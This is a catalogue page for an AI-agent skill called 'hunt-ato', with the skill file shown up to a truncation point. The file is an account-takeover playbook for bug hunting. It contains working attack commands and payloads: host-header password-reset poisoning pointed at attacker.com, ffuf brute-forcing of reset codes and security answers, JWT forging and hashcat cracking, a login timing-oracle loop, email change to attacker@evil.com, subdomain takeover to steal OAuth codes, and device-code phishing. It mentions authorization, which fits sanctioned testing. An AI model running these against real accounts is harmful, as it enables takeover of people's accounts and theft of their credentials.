hunt-ato
Hunt account takeover taxonomy — 12 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypas…
Install / Use
npx skills add uphiago/recon-skills --skill hunt-atoInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of hunt-ato
hunt-ato scores 85/100 on our quality scale, 818th of 1,100 Security skills we index.
Its SKILL.md is 25 KB long, well organised into 99 sections with 23 code examples: a thorough specification that gives an agent plenty to work with.
With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so hunt-ato is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
hunt-ato compared with similar skills
All 4 of these similar skills score higher than hunt-ato; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-ato (this skill)by uphiago | 85 | 1.3k | 2mo ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 46d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 46d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 143.4k | 7d ago | SKILL.md |
| ui-ux-pro-maxby nextlevelbuilder | 100 | 143.4k | 7d ago | SKILL.md |
Frequently asked questions
- How do I install hunt-ato?
- Run
npx skills add uphiago/recon-skills --skill hunt-ato. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-ato work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-ato safe to use?
- It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-ato still maintained?
- The repository was last updated about 2 months ago, so hunt-ato is actively maintained.
Skill content
View source on GitHubname: hunt-ato description: "Hunt account takeover taxonomy — 12 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (alg:none, RS256→HS256 key confusion, weak HMAC secret, kid injection), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical." version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] metadata: tags: [ATO, account-takeover, hunt, redteam] category: redteam
When to Use
- Hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT.
- Chaining primitives toward Critical.
Prerequisites
- Explicit authorization, target boundaries, and rate limits for the target.
- Tooling:
curl,dig,ffuf,gh,hashcat,openssl,python3. - A writable evidence directory:
export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR". - For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.
How to Run
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
Procedure
The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.
13. ATO — ACCOUNT TAKEOVER TAXONOMY
12 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
Path 1: Password Reset Poisoning (Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
email=victimB@company.com
The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
Path 2: Reset Token in Referer / Open-Redirect Leak
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.
Path 3: Predictable / Weak Reset Tokens
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.
Path 4: Token No-Expiry / Reuse / Cross-Account
Expiry: request token → wait 2h → still valid? = bug
Reuse: use token once → use again → still valid? = bug
Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
Path 5: Email Change Without Re-Auth
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm
If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
Path 6: JWT Manipulation
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
Verified grounding for this class: CVE-2015-9235 (node jsonwebtoken <4.2.2 — alg confusion / none bypass), CVE-2016-10555 (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.
Path 7: Password Change Without Step-Up + Login Oracle
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"} # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
printf '%s\t%s\n' "$t" "$p"
done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
A no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).
Path 8: Social-Recovery / Security-Question Abuse
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
-w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)
Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.
Path 9: SSO Subdomain Takeover at OAuth redirect_uri
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com # CNAME -> nonexistent-app.herokuapp.com (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain
Confirmation = OOB: the auth code (or implicit access_token) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely reflects an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — AADSTS50076 / claims-challenge responses contain a literal access_token substring inside the claims field that is NOT a usable token.
ATO Severity Gate
- Critical — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.
- High — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
- Medium — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
- Low — attacker must be MitM, or only self-account impact.
Path 10: OAuth Device Code Flow Abuse (RFC 8628)
The Device Authorization Grant (OAuth device flow) is designed for input-constrained devices, but attackers abuse it for phishing, MFA bypass, and cross-tenant token theft.
How the flow works (abused):
- Client requests device code:
POST /oauth/devicecodewithclient_id+scope - Server returns:
device_code,user_code,verification_uri,interval - Attacker tricks victim into visiting
verification_uriand enteringuser_code - Victim authenticates (often MFA-less on device flow) and authorizes
- Attacker polls
POST /oauth/tokenwithdevice_code→ receives access/refresh tokens
Attack vectors:
A. Phishing with device codes (ATO via authorization code theft)
# Step 1: Request a device code from the OAuth provider
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/devicecode" \
-d "client_id=VICTIM_CLIENT_ID&scope=openid profile email offline_access"
# Response: {"device_code":"...","user_code":"ABCD-1234","verification_uri":"https://target.com/device","interval"
Truncated for display — read the full file on GitHub.
Related Skills
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
143.4kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
ui-ux-pro-max
143.4kUI/UX design intelligence for web, mobile, and desktop. This skill should be used when designing, building, reviewing, or fixing interfaces, including pages, components, design systems, accessibility, interaction, responsive layout, typography, color, charts, and stack-specific UI implementation.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
